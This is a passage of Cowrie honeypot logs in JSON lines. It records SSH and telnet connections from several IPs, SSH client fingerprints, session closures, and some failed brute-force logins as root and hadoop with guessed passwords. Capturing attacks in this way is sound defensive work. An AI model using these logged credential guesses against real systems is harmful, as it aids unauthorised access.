af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:12.126473Z","src_ip":"89.218.69.66","session":"b782e8f3d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c0e730e65d","protocol":"telnet","message":"New connection: 65.60.27.33:37994 (10.17.0.5:23) [session: 06c0e730e65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:12.282299Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop1234","message":"login attempt [hadoop/hadoop1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:12.832983Z","src_ip":"89.218.69.66","session":"b782e8f3d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37302,"dst_ip":"10.17.0.5","dst_port":23,"session":"125c5d86c386","protocol":"telnet","message":"New connection: 62.210.97.77:37302 (10.17.0.5:23) [session: 125c5d86c386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:13.146624Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:14.006661Z","src_ip":"89.218.69.66","session":"b782e8f3d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.775593757629395,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:14.591187Z","src_ip":"65.60.27.33","session":"41f1630d901b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"upload12345678","message":"login attempt [root/upload12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:15.952432Z","src_ip":"213.209.159.158","session":"8ce541f2c36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.084810972213745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:17.490789Z","src_ip":"62.210.97.77","session":"5c6e3c03f671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80207061767578,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:18.983430Z","src_ip":"62.210.97.77","session":"a3f05c886fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:19.193290Z","src_ip":"213.209.159.158","session":"8ce541f2c36c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":3228,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a523fcc2de","protocol":"ssh","message":"New connection: 213.209.159.158:3228 (10.17.0.5:22) [session: 23a523fcc2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:19.297336Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53066,"dst_ip":"10.17.0.5","dst_port":23,"session":"4997af558502","protocol":"telnet","message":"New connection: 62.210.97.77:53066 (10.17.0.5:23) [session: 4997af558502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:19.887050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:21.965326Z","src_ip":"213.209.159.158","session":"23a523fcc2de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:21.969285Z","src_ip":"213.209.159.158","session":"23a523fcc2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53068,"dst_ip":"10.17.0.5","dst_port":23,"session":"736dcd4abe20","protocol":"telnet","message":"New connection: 62.210.97.77:53068 (10.17.0.5:23) [session: 736dcd4abe20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:25.738854Z"}
{"eventid":"cowrie.session.closed","duration":120.00109624862671,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:26.175645Z","src_ip":"165.232.131.181","session":"700208cf41a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15855288505554,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:29.854331Z","src_ip":"62.210.97.77","session":"78bed57dea0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37604,"dst_ip":"10.17.0.5","dst_port":23,"session":"9234a27a3e24","protocol":"telnet","message":"New connection: 165.232.131.181:37604 (10.17.0.5:23) [session: 9234a27a3e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:29.879143Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38032,"dst_ip":"10.17.0.5","dst_port":23,"session":"908d3ae22e03","protocol":"telnet","message":"New connection: 165.232.131.181:38032 (10.17.0.5:23) [session: 908d3ae22e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:31.023973Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"v01.cn123","message":"login attempt [root/v01.cn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:31.236742Z","src_ip":"213.209.159.158","session":"23a523fcc2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.29911994934082,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:32.510887Z","src_ip":"62.210.97.77","session":"1488a2157bd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.03676438331604,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:32.567756Z","src_ip":"62.210.97.77","session":"520ead856fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56978,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf800d9fa0d","protocol":"telnet","message":"New connection: 62.210.97.77:56978 (10.17.0.5:23) [session: 8cf800d9fa0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:33.160045Z"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:34.781123Z","src_ip":"213.209.159.158","session":"23a523fcc2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53598,"dst_ip":"10.17.0.5","dst_port":22,"session":"83c14b952cff","protocol":"ssh","message":"New connection: 213.209.159.158:53598 (10.17.0.5:22) [session: 83c14b952cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:34.861121Z"}
{"eventid":"cowrie.session.closed","duration":38.29135465621948,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:34.887674Z","src_ip":"65.60.27.33","session":"4805c0cd4627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277395248413086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:37.054909Z","src_ip":"62.210.97.77","session":"08ee107a0a59","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:37.103482Z","src_ip":"213.209.159.158","session":"83c14b952cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:37.107377Z","src_ip":"213.209.159.158","session":"83c14b952cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.02566599845886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:37.338267Z","src_ip":"62.210.97.77","session":"9787d36e2ba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37628,"dst_ip":"10.17.0.5","dst_port":23,"session":"649f0139065f","protocol":"telnet","message":"New connection: 62.210.97.77:37628 (10.17.0.5:23) [session: 649f0139065f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:41.165012Z"}
{"eventid":"cowrie.session.closed","duration":45.45695638656616,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:41.894171Z","src_ip":"165.232.131.181","session":"dd7ccfccaea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46644,"dst_ip":"10.17.0.5","dst_port":23,"session":"244910d1a514","protocol":"telnet","message":"New connection: 65.60.27.33:46644 (10.17.0.5:23) [session: 244910d1a514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:44.054223Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37644,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce78a77e6d8b","protocol":"telnet","message":"New connection: 62.210.97.77:37644 (10.17.0.5:23) [session: ce78a77e6d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:44.123329Z"}
{"eventid":"cowrie.session.closed","duration":47.970210313797,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:45.214560Z","src_ip":"165.232.131.181","session":"07b90bda4505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37660,"dst_ip":"10.17.0.5","dst_port":23,"session":"b224c2d7e125","protocol":"telnet","message":"New connection: 62.210.97.77:37660 (10.17.0.5:23) [session: b224c2d7e125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:45.674575Z"}
{"eventid":"cowrie.session.closed","duration":33.921818256378174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:45.995808Z","src_ip":"62.210.97.77","session":"672fd91988de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"uwcdn2022","message":"login attempt [root/uwcdn2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:46.353827Z","src_ip":"213.209.159.158","session":"83c14b952cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.446967124938965,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:46.593444Z","src_ip":"62.210.97.77","session":"125c5d86c386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.1178739070892334,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:47.171954Z","src_ip":"65.60.27.33","session":"244910d1a514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51048,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebc6e92bd52","protocol":"telnet","message":"New connection: 62.210.97.77:51048 (10.17.0.5:23) [session: cebc6e92bd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:48.834242Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:49.968390Z","src_ip":"213.209.159.158","session":"83c14b952cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a80c363088","protocol":"ssh","message":"New connection: 213.209.159.158:19318 (10.17.0.5:22) [session: f2a80c363088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:50.075960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:52.255689Z","src_ip":"213.209.159.158","session":"f2a80c363088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:52.259729Z","src_ip":"213.209.159.158","session":"f2a80c363088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51062,"dst_ip":"10.17.0.5","dst_port":23,"session":"3432b979c6d0","protocol":"telnet","message":"New connection: 62.210.97.77:51062 (10.17.0.5:23) [session: 3432b979c6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:52.439513Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfc1ca80d6b4","protocol":"telnet","message":"New connection: 165.232.131.181:46062 (10.17.0.5:23) [session: bfc1ca80d6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:54.579295Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51072,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d1a77e2e295","protocol":"telnet","message":"New connection: 62.210.97.77:51072 (10.17.0.5:23) [session: 1d1a77e2e295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:54.846009Z"}
{"eventid":"cowrie.session.closed","duration":42.57690358161926,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:54.858978Z","src_ip":"65.60.27.33","session":"06c0e730e65d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51088,"dst_ip":"10.17.0.5","dst_port":23,"session":"212e18a8a374","protocol":"telnet","message":"New connection: 62.210.97.77:51088 (10.17.0.5:23) [session: 212e18a8a374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:56.697790Z"}
{"eventid":"cowrie.session.closed","duration":31.083298206329346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:56.822030Z","src_ip":"62.210.97.77","session":"736dcd4abe20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.35931992530823,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:57.246257Z","src_ip":"62.210.97.77","session":"4997af558502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51096,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f737c92c49","protocol":"telnet","message":"New connection: 62.210.97.77:51096 (10.17.0.5:23) [session: 14f737c92c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:57.251191Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41092,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4aef670d7e5","protocol":"telnet","message":"New connection: 38.54.119.93:41092 (10.17.0.5:23) [session: e4aef670d7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:57.800735Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51108,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f6d7a4332e","protocol":"telnet","message":"New connection: 62.210.97.77:51108 (10.17.0.5:23) [session: c7f6d7a4332e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:58.453870Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"useradmin123","message":"login attempt [root/useradmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:01.983029Z","src_ip":"213.209.159.158","session":"f2a80c363088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49986,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22e9d493d7d","protocol":"telnet","message":"New connection: 62.210.97.77:49986 (10.17.0.5:23) [session: b22e9d493d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:02.309885Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49996,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc2f66f6e0e8","protocol":"telnet","message":"New connection: 62.210.97.77:49996 (10.17.0.5:23) [session: fc2f66f6e0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:03.561459Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50006,"dst_ip":"10.17.0.5","dst_port":23,"session":"7910c56028a9","protocol":"telnet","message":"New connection: 62.210.97.77:50006 (10.17.0.5:23) [session: 7910c56028a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:04.272357Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50012,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7a15ec602a","protocol":"telnet","message":"New connection: 62.210.97.77:50012 (10.17.0.5:23) [session: 7f7a15ec602a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:05.082655Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:05.230321Z","src_ip":"213.209.159.158","session":"f2a80c363088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61674,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f720020d14b","protocol":"ssh","message":"New connection: 213.209.159.158:61674 (10.17.0.5:22) [session: 9f720020d14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:05.326662Z"}
{"eventid":"cowrie.session.closed","duration":32.78786015510559,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:05.947803Z","src_ip":"62.210.97.77","session":"8cf800d9fa0d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:07.982257Z","src_ip":"213.209.159.158","session":"9f720020d14b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-